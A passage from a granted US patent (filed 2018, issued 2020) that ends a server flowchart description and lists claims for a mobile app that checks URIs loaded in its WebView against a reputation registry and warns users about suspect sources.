In step 14.24 the server 12 determines whether additional request messages REQ.MSG.001-REQ.MSG.N have been received from the mobile device 10. When the server 12 determines that one or more additional request messages REQ.MSG.001-REQ.MSG.N have been received from the mobile device 10, the server 12 re-executes the loop of steps 14.10 through 14.24 as necessary. Alternately, when the server 12 determines that no additional request messages REQ.MSG.001-REQ.MSG.N have been received from the mobile device 10, the server 12 proceeds to step 14.26, wherein the server 12 determines whether access to a designated URI.001-URI.N has been commanded. When the server 12 determines in step 14.26 that access has not been commanded, the server 12 executes alternate operations in step 14.06. In the alternative, when the server 12 determines that access has not been commanded in step 14.26, the server 12 proceeds to step 14.28. In step 14.28, access is granted to the designated URI.001-URI.N. The server 12 subsequently proceeds to step 14.06 and executes alternate operations.
Referring now generally to the Figures, and particularly to
Some portions of this description describe the embodiments of the invention in terms of algorithms and symbolic representations of operations on information. These algorithmic descriptions and representations are commonly used by those skilled in the data processing arts to convey the substance of their work effectively to others skilled in the art. These operations, while described functionally, computationally, or logically, are understood to be implemented by computer programs or equivalent electrical circuits, microcode, or the like. Furthermore, it has also proven convenient at times, to refer to these arrangements of operations as modules, without loss of generality. The described operations and their associated modules may be embodied in software, firmware, hardware, or any combinations thereof.
Any of the steps, operations, or processes described herein may be performed or implemented with one or more hardware or software modules, alone or in combination with other devices. In one embodiment, a software module is implemented with a computer program product comprising a non-transitory computer-readable medium containing computer program code, which can be executed by a computer processor for performing any or all of the steps, operations, or processes described.
Embodiments of the invention may also relate to an apparatus for performing the operations herein. This apparatus may be specially constructed for the required purposes, and/or it may comprise a general-purpose computing device selectively activated or reconfigured by a computer program stored in the computer. Such a computer program may be stored in a non-transitory, tangible computer readable storage medium, or any type of media suitable for storing electronic instructions, which may be coupled to a computer system bus. Furthermore, any computing systems referred to in the specification may include a single processor or may be architectures employing multiple processor designs for increased computing capability.
Embodiments of the invention may also relate to a product that is produced by a computing process described herein. Such a product may comprise information resulting from a computing process, where the information is stored on a non-transitory, tangible computer readable storage medium and may include any embodiment of a computer program product or other data combination described herein.
Finally, the language used in the specification has been principally selected for readability and instructional purposes, and it may not have been selected to delineate or circumscribe the inventive subject matter. It is therefore intended that the scope of the invention be limited not by this detailed description, but rather by any claims that issue on an application based herein. Accordingly, the disclosure of the embodiments of the invention is intended to be illustrative, but not limiting, of the scope of the invention, which is set forth in the following claims.
Claims
1. A computer-implemented method, the method implemented using a mobile device bi-directionally coupled with an electronic communications network (“the network”), and the mobile device comprising a processor coupled to a memory device, the method comprising: the mobile device executing a mobile application that is adapted to both receive a universal resource identifier from the network and to apply the universal resource identifier exclusively within the mobile application to access a content from the network, wherein the mobile application is enabled to access the content from the network through a WebView of the mobile application; determining whether or not universal resource identifier is indicated to be a source of suspect information; the mobile application notifying a user of the mobile device that the universal resource identifier is indicated to be a source of suspect information; and alerting the user of the mobile device if that universal resource identifier is determined to be a source of suspect information.
2. The method of claim 1, further comprising alerting the user of the mobile device that universal resource identifier is determined to be a source of suspect information prior to downloading content accessible from the universal resource identifier.
3. The method of claim 2, further comprising downloading to the mobile device as directed by the user content sourced from the universal resource identifier after the alerting the user that universal resource identifier is determined to be a source of suspect information.
4. The method of claim 1, further comprising a visual indicator to appear in the WebView of the mobile application indicating that the universal resource identifier is identified as a source of suspect information.
5. The method of claim 4, wherein the visual indicator uses at least one color to represent that the universal resource identifier is a source of suspect information.
6. The method of claim 1, further comprising storing the content sourced from the universal resource identifier and allowing the user to access the information by means of the mobile device.
7. The method of claim 1, wherein determining whether or not the universal resource identifier that the mobile application has accessed or is trying to access is a source of suspect information by whether or not the universal resource identifier has been classified or labeled as suspect or alternatively as reliable by a network-accessible third party reference.
8. The method of claim 1, wherein determining whether or not the universal resource identifier that the mobile application has accessed or is trying to access is a sourced of suspect information by whether or not the universal resource identifier has been classified or labeled as suspect or alternatively as reliable by a web-accessible registry.
9. The method of claim 1, wherein the native universal resource identifier is a universal resource locator.
10. A mobile computer system comprising: a processor; and a computer-readable storage device having encoded thereon computer-executable instructions that are executable by the processor to perform functions comprising: receiving a message or instruction indicating a mobile application on a mobile computer device coupled to a memory device has accessed or is trying to access content from the internet that is to be embedded or incorporated into the mobile application, wherein the mobile application accesses or tries to access content from the internet through a WebView of the mobile application; receiving a message or instruction indicating whether or not the content that is to be embedded or incorporated into the mobile application is accessed from a source of suspect information; sending a message indicating that the source of the content that the mobile application has accessed or is trying to access a source of suspect information; and alerting a user of the mobile computer system prior to enabling access to the content from the source of suspect information that the source of the content is determined to be a source of suspect information.
11. The system of claim 10, further comprising an aspect wherein sending a message indicating that the source of content that the mobile application has accessed or is trying to access is suspect causes a visual indicator to appear in the mobile application or in the WebView indicating that the source of the content is suspect.
12. The system of claim 11, wherein the visual indicator uses at least one color to represent whether the source of the content is suspect.
13. The system of claim 10, further comprising further comprising storing content received from the source of suspect information and allowing the user to access the content via the mobile application.
14. The method of claim 13, further comprising enabling access to the content by the mobile computer device only after receipt of an instruction to enable access to the content.
15. The system of claim 10, wherein the source of content that the mobile application has accessed or is trying to access is determined to suspect by association of the source of content with a universal resource identifier of a web page.
16. The system of claim 10, wherein the source content that the mobile application has accessed or is trying to access is determined to be suspect by whether a registry has determined the content or a universal resource identifier of a web page associated with the content is suspect.
17. The method of claim 16, wherein the native universal resource identifier is a universal resource locator.
18. The method of claim 10, further comprising enabling access to the content by the mobile computer device only after receipt by the mobile computer device of an instruction to enable access to the content.
19. The method of claim 18, wherein the instruction to enable access the content is user generated.
20. A computer-implemented method, the method implemented using a mobile device bi-directionally coupled with an electronic communications network (“the network”), and the mobile device comprising a processor coupled to a memory device, the method comprising: the mobile device executing a mobile application that is adapted to both receive a universal resource identifier from the network and to apply the universal resource identifier exclusively within the mobile application to access a content from the network, wherein the mobile application is enabled to access the content from the network through a WebView of the mobile application; determining that the universal resource identifier is associated with an indication of information integrity; and the mobile application notifying a user of the mobile device that the universal resource identifier is associated with the indication of information integrity.
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Type: Grant
Filed: Jan 29, 2018
Date of Patent: May 12, 2020
Patent Publication Number: 20190037406
Inventor: Paul Fergus Walsh (Danville, CA)
Primary Examiner: Brandon S Hoffman
Application Number: 15/881,949
International Classification: G06F 12/14 (20060101); H04W 12/10 (20090101); G06F 21/64 (20130101); G06F 21/16 (20130101); G06F 21/12 (20130101); H04W 4/00 (20180101); H04L 29/06 (20060101); G06F 21/57 (20130101); G06F 21/62 (20130101); H04W 12/12 (20090101); H04L 29/08 (20060101);
